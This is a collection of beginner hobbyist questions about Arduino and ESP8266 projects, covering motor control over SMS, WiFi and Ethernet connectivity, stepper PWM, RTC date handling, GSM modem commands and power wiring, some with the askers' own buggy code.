texts:
I am using following code for my arduino project in which i have to control a dc motor using arduino uno via text messages.
my question is that i have used multiple number of 'If' statements and only one else statement at the last, i compiled this code and gives no error, is it ok to use multiple If statements one after another without using else after each if?

#include <LiquidCrystal595.h>
#include <GSM.h>

GSM gsmAccess;
GSM_SMS sms;
char sendernumber[20];
int Enable_m=11;
int Control_2=12;
int Control_7=10;
LiquidCrystal595 lcd(7,8,9);
void setup()
{
   Serial.begin(9600);
   pinMode(Enable_m,OUTPUT);
   pinMode(Control_2,OUTPUT);
   pinMode(Control_7,OUTPUT);

   digitalWrite(Enable_m,LOW);
   digitalWrite(Control_2,LOW);
   digitalWrite(Control_7,LOW);

   lcd.begin(16,2);
   lcd.clear();
   lcd.setCursor(0,0);
   lcd.print("Hello");
   lcd.setCursor(0,1);
   lcd.print("Everyone");
   delay(2000);

   while (!Serial)
      Serial.println("SMS Messages Receiver");
   boolean notConnected = true;
   while(notConnected)
   {
      if(gsmAccess.begin("0000")==GSM_READY)
         notConnected = false;
      else
      {
         Serial.println("Not connected");
         delay(1000);
      }
   }
   Serial.println("GSM initialized");
   Serial.println("Waiting for messages");
}

void loop() {
   // put your main code here, to run repeatedly:
   char c;
   int val=0;
   val=digitalRead(Enable_m);
   if (val==LOW){
      digitalWrite(Enable_m,HIGH);
   }
   if (sms.available())
   {
      Serial.println("Message received from:");
      sms.remoteNumber(sendernumber, 20);
      Serial.println(sendernumber);

      if(sms.peek()=='#')
      {
         Serial.println("Discarded SMS");
         sms.flush();
      }
      while(c=sms.read())
         if(c=='motoroff'){
            analogWrite(Enable_m, 0);
            digitalWrite(Control_2,LOW);
            digitalWrite(Control_7,LOW);

         }
      if(c=='motoronclockwise'){
         analogWrite(Enable_m, 255);
         digitalWrite(Control_2,LOW);
         digitalWrite(Control_7,HIGH);
      }
      if(c=='motoronanticlockwise'){
         analogWrite(Enable_m, 255);
         digitalWrite(Control_2,HIGH);
         digitalWrite(Control_7,LOW);
      }
      if(c=='speedhalf'){
         analogWrite(Enable_m, 128);
         digitalWrite(Control_2,LOW);
         digitalWrite(Control_7,HIGH);
      }
      if(c=='speedquarter'){
         analogWrite(Enable_m, 65);
         digitalWrite(Control_2,LOW);
         digitalWrite(Control_7,HIGH);
      }
      if(c=='speed75'){
         analogWrite(Enable_m, 192);
         digitalWrite(Control_2,LOW);
         digitalWrite(Control_7,HIGH);
      }
      else{
         digitalWrite(Enable_m,HIGH);
         Serial.print(c);
      }
      Serial.println("\nEND OF MESSAGE");
      sms.flush();
      Serial.println("MESSAGE DELETED");
   }

}


texts: Programmatically activate a specific Arduino

texts:
If I have multiple Arduinos plugged into the same computer, is there a way that I can control them both with the same script while also being able to select which one I want to control programmatically?

For instance, the pseudo code may look something like:

stop controlling Arduino2; // Make sure Arduino 2 is not listening

start controlling Arduino1; //Make sure Arduino 1 is listening

set pin 10 high; //Set pin 10 on Arduino 1 to high

stop controlling Arduino1; // Make sure Arduino 1 is not listening

start controlling Arduino2; // Make sure Arduino 2 is listening

set pin 10 high; // Set pin 10 on Arduino 2 high

Windows OS
Currently using Arduino built in language, open to using anything though.


texts:
I would like to use the external libraries that are downloaded by Arduino IDE into the default sketchbook location (~/Arduino/libraries/).

If you open Library Manager in Arduino IDE and if you install an external library (e.g DHT sensor library 1.3.7 and its dependency Adafruit Unified Sensor 1.0.3) then it will be downloaded to the sketchbook location and you can use them freely in case of writing code in Arduino IDE.

However I really like auto code completion, managing source code in GIT repository, formatting source lines, etc. which functionalities are not provided by Arduino IDE, so I changed to CLion.

I have installed CLion and Arduino Support 1.4.4 Plugin and created a new Arduino Sketch Project.

Project Structure:

.
+--cmake
   +--Platform
      +--Arduino.cmake
   +--ArduinoToolchain.cmake
+--libs
   +--Adafruit_Sensor
      +--Adafruit_Sensor.h
      +--library.properties
      +--README.md
   +--DHT
      +--DHT.cpp
      +--DHT.h
      +--DHT_U.cpp
      +--DHT_U.h
      +--keywords.txt
      +--library.properties
      +--README.md
+--CMakeLists.txt
+--first_test_project.ino
+--User_Setup.h

first_test_project.ino:

#include <Arduino.h>
#include "User_Setup.h"
#include <libs/Adafruit_Sensor/Adafruit_Sensor.h>
#include <libs/DHT/DHT.h>

DHT *dht;

void setup() {
    dht = new DHT(7, DHT22);
}

void loop() {

}

So I have copied over the downloaded libraries from ~/Arduino/libraries folder to the project folder under libs folder.

When I try to upload the code to Arduino Board I am getting the following in the log:

undefined reference to `DHT::DHT(unsigned char, unsigned char, unsigned char)'

Could somebody please explain what is wrong here.

Thank you very much!


texts:
I believe I can supply the Arduino with power in three different ways:

Use USB. The design trusts the 5V to be regulated, and does not regulate it in any way.
Use a regulated power source, trusted to be 5V, and connect it to GND and 5V.
Connect an unregulated power source, eg a battery, to GND and VIN. This should be above 6.2V (since the dropout voltage is 1.2V) and preferably between 9V and 12V. There is a built-in regulator that will supply the Arduino with exactly 5V.

But can I use any of those pins to power other components. E.g. if the Arduino is powered with USB, can I use the 5V pin to power a diode? I thought I could, but the voltage is 4.70V, while the USB is 5.07V. The VIN is 4.26V btw.

Are the 5V and VIN only for powering the Arduino?


texts: Assigning array variables to int variables

texts:
I need to control thousands of rgb leds.To make animations I want to assign led numbers(addressable led strip) to arrays.For example floor[2]room[14]=106 106 is the number of led,there are many floors and rooms.I want to change floor or room numbers with that way I will make animations.
  We can say its 92x30 pixel monitor.I tried to create list of floor and rooms but I couldnt make it.
  I'm new to programming,help please!

Solved with this way #define LEDNO(FLOOR, ROOM) ((ROOM) + (FLOOR * 92))


texts: Reading RFID tags with Arduino IDE, not using Arduino

texts:
I am completely new to this technology, but I'm hoping to build a fairly simple program through the Arduino IDE that takes the serial numbers of RFID cards read through my ID-20LA Innovations RFID reader and send those serial numbers to an API endpoint all through the IDE (as in without using a physical Arduino).

Is this possible? Are there any tutorials out there that walk through a stripped down version of this? I don't know where to start code wise, and all tutorials I've found use physical Arduinos to accomplish this.


texts: EBay "Development Programmer Board for ATtiny"

texts:
Has anyone tried these? Does the ATtiny have a bootloader? What software is used to program the chip? Arduino compatible?

Looks a lot more convenient than programming the ATtiny via an Uno.

http://m.ebay.com/itm/201536595756

/Ola


texts: Accidentally shorted 5V to GND on Arduino Nano, can I reuse the ATmega328p?

texts:
I've shorted 5V to GND and the Arduino Nano (CH340 clone) stopped working (power LED light is dimming). The board had a burning smell, and I also checked if other Arduini on the same USB port worked and they did, so I'm quite sure the Arduino is dead.

After the incident, I de-soldered the TQFP Atmega328p (plus the crystal) to reuse. I'm thinking that if it's only the external circuitry that's damaged, then the chip should be OK. Can I reuse the chip if I solder onto a new board? What components could have been damaged?


texts: Char* and string conversion from an ESP8266 web server

texts:
I have the following Arduino code for configuring a wifi connection through a simple webpage:

I declare char* ssid;. Later I read a value from a SPIFFS config file where q_ssid is declared as a string and successfully populated from the file:

strncpy(ssid, q_ssid.c_str(), 10);

In the line above, I am limiting it to exactly 10 as that is the length of my wifi AP name that this connects to. If I change the initial char* to char ssid[10];, all works well, but SSIDs can have varying names, and if I do not use 10 chars, then the trailing spaces prevent connection in the statement WiFi.begin(ssid, password);.

On the web client handler that reads in values from the user, I use this:

String q_ssid = server.arg("ssid");
strncpy(ssid, q_ssid.c_str(), 10 );

How can I dynamically assign the size of char* ssid; so that it can be used with the correct number of characters for the AP name that the user has stored from the webpage?

Any help is greatly appreciated.

Thanks.


texts: Error array value after passed to a function

texts:
I would like to ask about a weirdness in my program. This is my program:

void setup() {
  Serial.begin(9600);
}

void loop() {
   workout_Text();
}

void workout_Text() {
  int woT_x[] = {1, 4, 8, 12, 16};
  int woT_y[] = {1, 4, 8, 12, 16};
  int n = sizeof(woT_y);
  on_led(woT_x, woT_y, n);
}

void on_led(int a_mat[], int b_mat[], int m) {
  for (int i = 0; i < m; i++) {
    Serial.print(a_mat[i]);
    Serial.print(" : ");
    Serial.println(b_mat[i]);
    delay(100);
  }
}

This is the part of my program for a LED matrix. The on_led purpose function is for printing the value of a_mat and b_mat. Instead of printing:

1 : 1
4 : 4
8 : 8
12 : 12
16 : 16
1 : 1
4 : 4
8 : 8
16 : 16

It prints:

1 : 1
4 : 4
8 : 8
12 : 12
16 : 16
13312 : 1
23296 : 4
1 : 8
4 : 12
8 : 16
1 : 1
4 : 4
8 : 8

Where does the big number come from? I am sure that my code is right to just print the a_mat and b_mat.

Thank you.


texts:
I will be using the Arduino platform with other data acquisition hardware for a school electronics project. I have limited knowledge of C++ syntax.

Are there good introductory to intermediate books that can bring a high school student with some programming experience to proficiency on Arduino?


texts: Ethernet shield reconnection problem after power cut

texts:
I am using arduino mega and this ethernet shield. Everyting is okey and connection is good. however, the device does not connect to the internet again after a power cut. if I press the reset manually it works again. Also arduino mega is plug-in with uninterruptible power supply but modem is not connected uninterruptible power supply, modem turns off if power cut. I am starting this method each time when sending data from docs. I think it is enought to reconnect to internet and getting IP. what should I do for reconnect internet after power cut

  // start the Ethernet connection:
  Serial.println("Initialize Ethernet with DHCP:");
  if (Ethernet.begin(mac) == 0) {
    Serial.println("Failed to configure Ethernet using DHCP");
    // Check for Ethernet hardware present
    if (Ethernet.hardwareStatus() == EthernetNoHardware) {
      Serial.println("Ethernet shield was not found.  Sorry, can't run without hardware. :(");
      while (true) {
        delay(1); // do nothing, no point running without Ethernet hardware
      }
    }
    if (Ethernet.linkStatus() == LinkOFF) {
      Serial.println("Ethernet cable is not connected.");
    }
    // try to congifure using IP address instead of DHCP:
    Ethernet.begin(mac, ip, myDns);
  } else {
    Serial.print("  DHCP assigned IP ");
    Serial.println(Ethernet.localIP());
  }
  // give the Ethernet shield a second to initialize:
  delay(1000);

  ThingSpeak.begin(client);  // Initialize ThingSpeak


texts: Serial loopback not working with jumper wires connected

texts:
I'm a beginner to Arduino programming. Before attempting anything more complex I'm trying to get some very basic functionality first, so using some of the sketchbook examples I'm trying to get the most basic serial loopback working. I used the SerialEvent sketch as a reference point to come up with this:

String inputString = "";
bool stringComplete = false;
int inByte = 0;

void setup() {
  // initialize serial:
  Serial.begin(9600);
  // wait for serial port to connect. Needed for native USB port only
  while (!Serial) {
    ;
  }
  // reserve 200 bytes for the inputString:
  inputString.reserve(200);
  Serial.println("Hello world\n");
}

void loop() {
  while (Serial.available()) {
    char inChar = (char)Serial.read();
    inputString += inChar;
    if (inChar == '\n') {
      stringComplete = true;
    }
  }
  if (stringComplete) {
    Serial.println(inputString);
    inputString = "";
    stringComplete = false;
  }
}

When I flash that image to the Arduino and then open the Serial monitor, everything appears to work fine. As pictured below, whatever I type gets echoed back to me after pressing Enter:

However, it's a different story when I connect the TX and RX pins on the board, as pictured here:

As soon as I do that, the serial communication becomes totally non-responsive. It still prints out "Hello world" at the beginning, but it no longer echoes back the messages that get sent in, as you can see here:

I should say that even when it is no longer echoing messages back, the yellow "RX" light on the board does still briefly light up when I press Enter. But the "TX" light doesn't. Note that both lights light up if I unplug the jumper wire.

It seems to me that what I'm trying to do here is a very simple thing, that really shouldn't be this hard. Is there something obvious I'm missing? Any advice?


texts: Is there an easy way to connect and control 3 servos?

texts:
I need to connect and control three Parallax Standard Servos to an Arduino board, and apart from the USB connection, nothing else will be connected to the board. My predecessor used a setup of and Arduino Mega2560 in combination with a Proto Shield to achieve this. The setup required a lot of molding and took quite some time.

I don't have any experience using Arduino, but since the setup is pretty simple, this seems like a rather complicated solution.

Can I achieve the same with a simpler setup - maybe using a smaller board and pass on to the shield?


texts:
I've seen that there are many resources on programming basis for arduino for people that have some electronics basis or background. Are there similar resources on the opposite? Basics electronics for programmers? Things that cover:

How to read schematics (different elements that appear there)
What different pins are used for (yeah, even on a more basic level than arduino documentation)
General idea of how a protoboard/protoshield works and how to connect components
General common components (resitors, capacitors...) and when and how to use them...
Safety rules, what happens when you do something wrong


texts: Having trouble with sprintf function and string class

texts:
in my code, I was using string class to make an array to store my menu items
String menu[2] = {{"Menu 1"}, {"Menu2"}};

How do I convert this into char arrays and how do I call them?
Example:
Serial.println(menu[0]);


texts: Connecting six stepper motors to Arduino Uno

texts: I need to control six stepper motors using an Arduino Uno but most of the CNC shields I saw can control only four at a time. Is there a way to interface two CNC shields with a single Arduino Uno?


texts:
I am currently implementing the following setup:

Arduino Mega 2650 -- DRV8834 -- Stepper motor

Everything works fine, however since it can provide a higher torque I want to run the stepper in half step mode. Each step is triggered by a single pulse coming from the Arduino to the driver. If one uses the Digital Pins for this purpose as done by AccelStepper, the maximum frequency is around 1000 pps (points per second). This is a third of what I want to achieve. The second option would be to use the PWM of the Arduino which naturally runs at 16 MHz (way to high). There is a way to downgrade this frequency, however the steps are only discrete and not accurate enough for a nice speed control.

Therefore I want to do the following

Arduino Mega 2650 -- Controller -- DRV8834 -- Stepper motor

whereby the Controller is creating a PWM with a frequency (100 to 3000 Hz) depending on some signal coming from the Arduino (I2C, voltage level or something else). I was now searching two days for a component and have no clue what I could use.

How can I create a PWM from 100 to 3000Hz with an arduino?

Edit 1: I have to read out sensors while the motor is running. Therefore, the so called "bit banging" PWM

void loop(){
digitalWrite(pinSTEP, HIGH);
delayMicroseconds(T/2);
digitalWrite(pinSTEP, LOW);
delayMicroseconds(T/2);
}

where T = 1 / f is not feasible since I have to read out a sensor in the loop which destroys the motor timing.

Edit 2: There is a method to change the register of the timers. One can adapt a so called prescalar values (from 0 to 7) which will define the frequency of our PWM. However with only seven discrete steps this leads to the following freuquencies:

prescalar = 1 ---> PWM frequency is 31000 Hz
prescalar = 2 ---> PWM frequency is 4000 Hz
prescalar = 3 ---> PWM frequency is 490 Hz (default value)
prescalar = 4 ---> PWM frequency is 120 Hz
prescalar = 5 ---> PWM frequency is 30 Hz
prescalar = 6 ---> PWM frequency is <20 Hz

which is not sufficient for my application.

For more about this method:

http://usethearduino.blogspot.ch/2008/11/changing-pwm-frequency-on-arduino.html
http://forum.arduino.cc/index.php?topic=72092.0

Sometimes a solution is so easy that it hurts ;) Based on the input of this wonderful community I found my solution. Code:

#include <TimerThree.h>
// TimerThree PWM Pins 2, 3, 5

#define pinPWM       2
#define pinM0        22
#define pinM1        24
#define pinSleepnot  28
#define pinDir       30

void setup(void){

  // Define output pins
  pinMode(pinM0, OUTPUT);
  digitalWrite(pinM0, HIGH);
  pinMode(pinM1, OUTPUT);
  digitalWrite(pinM1, LOW);
  pinMode(pinSleepnot, OUTPUT);
  digitalWrite(pinSleepnot, HIGH);
  pinMode(pinDir, OUTPUT);

  // Initialize serial communication
  Serial.begin(9600);

}

void loop(void){

  for (float frequency = 500; frequency < 3000; frequency = frequency + 1) {
    float T = 1 / frequency * 1000000;
    Serial.print("Frequency: ");
    Serial.println(frequency);
    Timer3.initialize(T);
    Timer3.pwm(pinPWM, 100);
    delay(5);
  }
}


texts: Arduino or Raspberry? Self Balancing robot

texts:
Here's another one, as you probably have seen before.

I'm finishing college, and I'd like, base of my subscription to be a self balancing robot that can send data to a screen. What kind of data? I am in the brain-storming zone with this question and so far I have:

Distance to other objects
Time, temperature, direction N-S-W-E, pressure (as in a car where you measure oil temp, tire pressure etc)
State of balance (as on y axix, a point going from -y to y where 0 is the balance point)
Any othet possible inte-[deleted]-resting thing you could get as a response from a little two-wheels robot
Remote control via wireless preferably

Now, the big question. Is arduino the best choice, or should I consider Raspberry Pi?

Thanks in advance!


texts: Is DateTime from RTClib giving garbage dates/times?

texts:
The RTC is working fine, but I'm having trouble with the DateTime class. Based on the following test, it seems like its math is wrong.

#include <RTRlib.h>
void loop()
{
    auto ts = TimeSpan(0, 8, 0, 0); // 8 hours
    auto zero = DateTime(0, 0, 0, 0, 0, 0);
    auto alarm = zero + ts;
    Serial.println(String("Zero date: ")+zero.year()+" "+zero.month()+" "+zero.day()+" "+ zero.hour()+":"+zero.minute()+" "+zero.second());
    Serial.println(String("Alarm as timespan: ")+ts.days()+"d "+ ts.hours()+":"+ts.minutes()+" "+ts.seconds());
    Serial.println(String("Alarm date: ")+alarm.year()+" "+alarm.month()+" "+alarm.day()+" "+ alarm.hour()+":"+alarm.minute()+" "+alarm.second());
}

My output is (repeating):

Zero date: 2000 0 0 0:0 0
Alarm as timespan: 0d 8:0 0
Alarm date: 2043 4 30 1:31 44

Also, when creating DateTime(0), I would expect the hours, minutes, and seconds to be zero. That's not the case. What's up with this library, and how did it get to be so popular if it doesn't work?


texts:
I am currently doing a project for a class which uses a few other components such as an LCD, a servo, and such. I want to use a button which acts as a circuit breaker on the Vin of the servo in which the servo will only be powered when the switch is pressed. I wanted to implement something like this because I wanted to minimize the power consumption and also acts as a mechanical counter-measure in case the servo keeps on spinning in unwanted situations, such as having the servo entangled by hair or something like that.

I know that I can just connect the button to the I/O pins but I wanted to rely on a hardware solution for power minimization and safety reason.

The servo draws 170mA when idle and can draw a maximum of 1.2A, but I believe it will only draw about 500-600mA with the intended load. It can run between 4.8-6V.

So my question is, would my circuit configuration work for my application? Would it be safe? Do I need any other additional components? Thanks for anyone that can help!


texts: What is the resolution of an arduino signal?

texts: I'm recieving an unsigned digital signal from a sensor at 10kHz rate, the signal is a 16-bit integer number (ranging between 0-65535). Is it possible for an Arduino to read this 16-bit integer, if the answer is "yes", than which one in the production range?


texts:
I'm playing with Over The Air (OTA) updates in my LoLin. I can make connections to my router and OTA updates seem to work well.

I'm uncomfortable storing my WiFi router SSID and password unencrypted in every sketch. Can I store an encrypted password instead for use in WiFi.begin()?

For example, Linux has wpa_pasphrase, which generates a 32-byte number which is an encrypted version of the password which can safely be stored in plaintext configuration files.


texts: ESP8266 in STA not connecting to ESP8266 in AP but connecting to other WIFI

texts:
I hope you can help me as I have asked around a lot and sofar no one was able to help me.
I am building some wifi enabled lamps with ESP07 modules. I have one basestation/server which creates a WIFI network in softAP mode and 5 clients that connect to it in STA mode. All 5 clients run the identical code.
Two days ago 4/5 devices connected to the base station. (I forgot to allow more than 4 connections) Yesterday 2/5 connected and a third one only sporadically. Today only 1/5 connects reliably.
Running WiFi.printDiag(Serial) on the sporadically working clients shows me that they sometimes connect to the AP for a split second, lose the BSSID, get thrown off again and switch to channel 14 for some time. Then the cycle repeates.
It seems to me as if theres some cached data on the server or client side that blocks the clients to connect. Anybody have an idea?
Thanks in advance!
Edit: Previously I wrote that connection to other wifi networks was no problem, this is not true. Connection to all networks tried sofar didn't work.
here the dump from the client:

10:41:12.287 -> Mode: STA
10:41:12.287 -> PHY mode: N
10:41:12.287 -> Channel: 2
10:41:12.287 -> AP id: 0
10:41:12.287 -> Status: 1
10:41:12.287 -> Auto connect: 1
10:41:12.287 -> SSID (15): test1234
10:41:12.287 -> Passphrase (9): hunter222
10:41:12.287 -> BSSID set: 1

10:41:13.389 -> Mode: STA
10:41:13.389 -> PHY mode: N
10:41:13.389 -> Channel: 2
10:41:13.389 -> AP id: 0
10:41:13.389 -> Status: 0
10:41:13.389 -> Auto connect: 1
10:41:13.389 -> SSID (0):
10:41:13.389 -> Passphrase (0):
10:41:13.389 -> BSSID set: 0

10:41:14.387 -> Mode: STA
10:41:14.387 -> PHY mode: N
10:41:14.387 -> Channel: 14
10:41:14.387 -> AP id: 0
10:41:14.387 -> Status: 0
10:41:14.387 -> Auto connect: 1
10:41:14.387 -> SSID (0):
10:41:14.387 -> Passphrase (0):
10:41:14.387 -> BSSID set: 0

10:41:15.384 -> Mode: STA
10:41:15.384 -> PHY mode: N
10:41:15.384 -> Channel: 2
10:41:15.384 -> AP id: 0
10:41:15.384 -> Status: 0
10:41:15.384 -> Auto connect: 1
10:41:15.384 -> SSID (0):
10:41:15.384 -> Passphrase (0):
10:41:15.384 -> BSSID set: 0


texts: Can it time between blips, store the time between blips, subtract one time from the other and divide one time by another and display it?

texts:
I am counting rotations of a shaft and timing events that occur during that rotation.  I wish to display
the event timing as a percentage of ~1/4 of the rotation timing.  This would involve recording the rotation time, dividing that number by 3.6 and dividing that number by the value of the event timer, then displaying that percentage on an LCD array.


texts: Measure low current with variable voltage

texts:
I want to make a system that always have the same current (about 1ma) in a water with silver electrode. At start it will be purified water so conductivity will be really low.

But with time silver particle will be released in water, raising his conductivity so if I don't lower the voltage the current will raise too (meaning that bigger particle will be released which I don't want too).

So, is there any way I can measure low current and adapt voltage with the result (since deducting resistance wouldn't be hard).

I know about ASC712 but It seem that he can't be precise enough (steps of 13ma max) to my use.

I precise it's not that long I'm trying to get back in electronics with arduino so many school things have been forgotten.


texts: How to connect an Arduino via an ethernet cable to a laptop directly?

texts:
Maybe a silly question, because it is a usual topic, but I have a problem with my Arduino Leonardo ETH.

I want to create a web server on the Arduino with the example sketch File > Examples > Ethernet > WebServer. I plugged in the ethernet cable directly to my laptop. So there is no router or switch between them.

I also set the configuration to my ethernet port to the following IPv4 properties:

Then in the example sketch, I changed the MAC address according to the bottom sticker of my Arduino.

byte mac[] = {0x90, 0xA2, 0xDA, 0x11, 0x33, 0xD6};
IPAddress ip(192, 168, 1, 177);

Now when I compile and upload the sketch to the Arduino, everything is working fine until it prints the IP address. According to the IP address which I have set in the code (192.186.1.177), it shows me 0.46.46.46 as you can see in the picture:

This happens when I print that:

Serial.println("server is at ");
Serial.println(Ethernet.localIP());

Do you have any ideas how I could fix this? And why does it show me that invalid IP address?

Thank you in advance.


texts: How to store an array of doubles? As array of doubles, Strings or const char *? Then convert back to use?

texts:
This seems like an old, solved problem, but I can't find any simple answers.
I'm reading latitude and longitude data as Strings from a file (about 50 points), but they are really double float numbers.

First, I want to find the min/max ranges.   Then, later, I want to do some calculations on them.  I don't really want to keep reading the file, so I want to put them in an array.  But no matter what kind of array I use (3 examples below), the program crashes with stack errors.

const char *latArray[ptsN];
const char *lngArray[ptsN];
//  or
String      latArray[ptsN];
String      lngArray[ptsN];
//  or
double      latArray[ptsN];
double      lngArray[ptsN];

while( myFile.available() ) {
  lineN++;
  String  latGet = myFile.readStringUntil(',');
  double dLat = StrngToDouble( latGet );
  if( dLat < minLat )  minLat = dLat;
  if( dLat > maxLat )  maxLat = dLat;

  latArray[lineN] = latGet;         //  put in String array
  //  or
  latArray[lineN] = latGet.c_str(); //  put in const char * array
  //  or
  latArray[lineN] = dLat;           //  put in double array

  String  lngGet = myFile.readStringUntil(',');
  double dLng = StrngToDouble( lngGet );
  if( dLng < minLng )  minLng = dLng;
  if( dLng > maxLng )  maxLng = dLng;

  lngArray[lineN] = lngGet;         //  put in String array
  //  or
  lngArray[lineN] = lngGet.c_str(); //  put in const char * array
  //  or
  lngArray[lineN] = dLng;           //  put in double array

  String  tmp = myFile.readStringUntil('\n');
}

where

double StrngToDouble( String dblString ) {
  double temp = strtod( dblString.c_str(), NULL );
  return temp;
}

This can compile and work - EXCEPT for reading the arrays and calculating using the floats, no matter what type of arrays I try using.  It just crashes.  What's the best way to resolve this?
Thanks, Rick


texts: Arduino MKR GSM 1400 SSL client example fails to connect

texts:
I am using the GsmSSLWebClient example which comes with the MKRGSM library.
The original example works just fine, I get the arduino ascii logo. But when I change the URL the arduino doesn't get any answer:

//char server[] = "arduino.cc";
//char path[] = "/asciilogo.txt";
char server[] = "wepardi.fi";
char path[] = "/robots.txt";

Starting Arduino web client.
connecting...
connected
GET /robots.txt HTTP/1.1
Host: wepardi.fi
Connection: close

disconnecting.

From Firefox https://www.wepardi.fi/robots.txt is displayed correctly.
I tried also some other sites, and from some of them I get the ascii file content correctly, and from some others not.

Something wrong with my settings?

Prints from debug mode:

connecting...

...

AT+USECMNG=0,0,"VeriSign_Class_3_Public_Primary_Certification_Authority_G5",1239
>
+USECMNG: 0,0,"VeriSign_Class_3_Public_Primary_Certification_Authority_G5","cb17e431673ee209fe455793f30afa1c"

OK
AT+USOCR=6

+USOCR: 0

OK
AT+USOSEC=0,1,0

OK
AT+USECPRF=0,0,1,4,"www.wepardi.fi"

OK
AT+USOCO=0,"www.wepardi.fi",443

ERROR

+UUSOCL: 0
AT+USOCL=0

ERROR
connected
GET /robots.txt HTTP/1.1
Host: www.wepardi.fi
Connection: close

disconnecting.

Command
    AT+USOCO=0,"www.wepardi.fi",443
fails

GsmWebClient (no SSL) example works fine with any hosts I have tried.


texts: SIM800C developer board "SIM not inserted"

texts:
I bought this SIM800C development board (vendor unknow):

I conected it to an Arduino and put a brand new SIM card in it. This is the model of SIM I'm using:

Problem is, development board doesn't detect SIM card:

at+cfun=1,1
OK
at+cpin?
+CME ERROR: SIM not inserted
at+csmins?
+CSMINS: 0,0

This is the scenario:

6 pin SIM in a 6 pin SIM card holder.
SIM works fine in a cel phone. Send/receive voice call/sms.
Older, working SIM from various providers doesn't get detected either.
Every other non-SIM related aspect works.
No reboots, no flickering.
Board takes care of regulating voltages and signal levels.

I put an oscilloscope probe on the SIM_VDD pin (against board ground) and got this on every power-on:

Two 1.8v and two 3v pulses. That's all.

Please, note that I have no access to all SIM connexions (multi layer PCB).

How do I solve this problem?


texts: Arduino Nano + RC522 + w5500 Ethernet Module

texts:
has anyone had any experience wiring up an arduino nano with an RC522 RFID module and a W5500 ethernet module? i can get each of them to work individually, but i cannot get them to work together. i am not super experienced, but this seems to be some sort of SPI collision

The RobotDyn Ethernet Module i am using:

The RFID Module i am using:


texts:
I've a CR2032 battery connected to DS3231 module as backup battery, when module is connected to 5V the battery voltage is at 4.3V and without power 3.7V.

That means the module is trying to charge the nonchargeable battery, i couldn't find a chargeable (LIR23032) battery to buy and after some research someone in forums suggested to remove the diode from the module...

If i keep using the CR2032 battery for long run 24/7, how long will battery last? is there a chance of explosion?
is there any other way than modifying the module it self?


texts: Unsure about how the code works for this Make-It Robotics kit

texts:
I have been using a Make-It Robotics kit, that I picked up from a RadioShack that was closing, to learn more about Arduino, C, etc.  After building the line-following robot and downloading the correct libraries, I can get the robot to function as intended.  It uses 2 optical sensors in front of 2 driving wheels that are controlled by independent DC motors.  The optical sensors determine if the left or right side of the front of the robot is over a white or black area on the test track. The necessary motor then turns on to keep the black line roughly between the 2 sensors as the robot moves along. The default test track that came with the kit was a large black circle on a white background.

I want to make some modifications to the code (and maybe the underlying library files) to try to make the robot able to handle other types of paths with more acute angles and sharper turns, etc.  But, I don't understand some aspects of the highest level .ino source code file.

I am a little unsure of pasting such a long code block below and also don't think an image of it will help.  The version data for the file I'm using is below.  The files can be found online @ LINK

// ******************************************************************************    **
// * File Name          : linefollow
// * Author             : RadioShack Corporation
// * Version            : V1.0
// * Date               : 2014/01/16
// * Description        : Optical sensors send feedback to PCB
// *                      to make the robot follow a black line on a white background.
// ********************************************************************************

In this .ino file, I don't understand the code from line 68 onwards: from the Read Left/Right Optical Status onward...

I don't understand some of the bitwise operations there and don't really see how the sensor readings (whether it is over a white or black area on the surface) correlates to which motor activates to keep the robot on the course...

From my limited understanding of Arduino, this robot kit, and the code, it seems like the software and hardware have to interact in this way:

Robot moves forward using both motors turning the wheels in the same direction.  It approaches the black test circle at a shallow angle (i.e. almost tangent to it) to allow one sensor to go over the black line before the other one does.
Optical readings of each sensor are taken periodically.
If both sensors detect white space, robot continues to move forward.
If the right sensor detects that it has gone from white to black and then to white, it means that the robot needs to turn to the left to stay on the path.
To turn left, the left motor is un-powered and the right motor is powered until the right sensor detects black again.
Now that the robot is on course, it will keep turning in the direction of the sensor that detects a white to black to white transition.

I am not seeing how my intuitive understanding of the robot's operation matches with that of the code...


texts: Rectangular Input signal on digital pins

texts:
I have a silly question.
Today I saw a function for arduino, that is pulseIn(). So to test what it does I applied a rectangular wave at a pin same as the arduino reference page did and it worked fine. There was a line in the reference page which stated :-
Works on pulses from 10 microseconds to 3 minutes in length.
So as it seems it will work upto 100KHz signal. Is there any way to read signals of much higher frequency than this? like in the range of MHz or so?


texts: Can I use GSM and Data Logger Shield at the same time on one Arduino?

texts: Me and my classmates are trying to make an arduino base project where we will be using sensors, GSM, and Data logger shield. We want the arduino to store the data collected and at the same time send a message to the user if significant data are collected.My is question is above.


texts: Would any one know how many Force-Sensitive Resistors that a Arduino Uno can handle being hooked up to at one time?


texts:
So am doing a project which involves the reading of voltage and current generated by Solar Panel. Now I learnt that Arduino cant Read Voltage directly above 5V. To read above that you need to add a voltage divider circuit in between. But that's the great solution for a solar panel around 20W.
Now what if i want to read voltages of n number of solar panels which are in a farm in which each solar panel generated around 300-400 W .
1)Will adding voltage divider help?
2) What is the limit of Arduino of Voltage Divider?
3) What registers i would have to use for such big voltage divider?


texts: What are the AREF, IOREF, and the unlabeled pin next to IOREF on the Uno R3?

texts:
There are some pins on the Arduino which I haven't been able to find out anything about:

IOREF
AREF
An unlabeled one next to IOREF

What are they?


texts: I'm a beginner and I've been developing my own library for a wave player. so far I have the SD card installed and OLED and rotary encoder all connected. I've successfully read the wave chunk and it's data(16bit and 44.1KHz). My question is that the data in wave file is PCM and I wish to play is using 16bit PWM and so how do I convert PCM to PWM?


texts: Reading the audio signal from a smartphone

texts:
i want to read the audio signal from my smartphone.
Can i just cut a headphonewire and connect it to the analog in? (Arduino uno)
I sadly dont know much about electronics.

greetings


texts: 2D cross correlation code for small images

texts:
I am working on a arduino Uno project* to detect eye pupil movement and I am thinking of using a serial low-res jpeg camera. I am thinking of implementing a cross-correlation function to detect when the pupil is turned towards the camera.

I am looking, so far unsuccessfully, for a c source code that performs a 2D cross-correlation without using FFT (Fourier Transform). I think such code might have good enough performance even on an Arduino Uno board when running on a low-res image, something like a 32x32 pixels image.

I'd appreciate if you could direct me to such a piece of code or alternatively tell me that this can't be done on an Arduino board due to CPU\RAM limitations.

Current Device is using an IR range finder to detect IR reflected from the retina when looking directly into the device.

P.S.

The project is intended to provide ALS patients the capability to use eye-motion to call for help, using a low-cost device.


texts:
I've got two arduino nano devices connected via RF 433 MHz. The modules are MX-05V and MX-FS-03V. I'm using VirtualWire for sending and receiving. The speed is set to 1000 bps.

One has got a pir sensor and sends "1:ON" when it detects movement and "1:OFF" when movement stops.

The other is just receiving these messages, but after a while (20 messages) the text is chopped off. I only receive "1". If I restart everything the same thing happens.

